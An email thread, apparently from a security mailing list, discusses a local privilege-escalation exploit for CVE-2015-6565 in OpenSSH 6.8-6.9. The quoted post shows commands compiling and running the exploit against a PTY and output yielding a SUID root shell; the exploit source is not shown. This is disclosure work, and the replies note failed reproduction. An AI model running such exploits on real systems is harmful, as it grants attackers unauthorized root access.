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Date: Thu, 26 Jan 2017 21:52:43 +0100
To:, Noryungi <>
Subject: Re: Re: OpenSSH: CVE-2015-6565 (pty issue in
	6.8-6.9) can lead to local privesc on Linux

Quoting Noryungi <>:

The PTY slave must be root owned to get root obviously, for example  
when root logs in via ssh.

> Does not work on centos 7.1 (unpatched) running stock openssh.
> TTY capture works, /tmp/sh is created but user is unprivileged.
> On Jan 26, 2017 5:52 PM, <> wrote:
>> Hi list,
>> I know I'm late to the party, but I was bored, so I decided to write an
>> exploit for CVE-2015-6565 which affects OpenSSH 6.8-6.9
>> It is mostly considered to be a "DoS", even though Jann Horn publicly told
>> how it could be exploited for local privilege escalation, but I guess its
>> either PoC||GTFO for users to update.
>> From
>> "sshd in OpenSSH 6.8 and 6.9 uses world-writable permissions for TTY
>> devices, which allows local users to cause a denial of service (terminal
>> disruption) or possibly have unspecified other impact by writing to a
>> device, as demonstrated by writing an escape sequence."
>> I think the description should be updated.
>> $ gcc not_an_sshnuke.c -o not_an_sshnuke
>> $ ./not_an_sshnuke /dev/pts/3
>> [*] Waiting for slave device /dev/pts/3
>> [+] Got PTY slave /dev/pts/3
>> [+] Making PTY slave the controlling terminal
>> [+] SUID shell at /tmp/sh
>> $ /tmp/sh --norc --noprofile -p
>> # id
>> euid=0(root) groups=0(root)
>> Thanks,
>> Federico Bento.
>> ----------------------------------------------------------------
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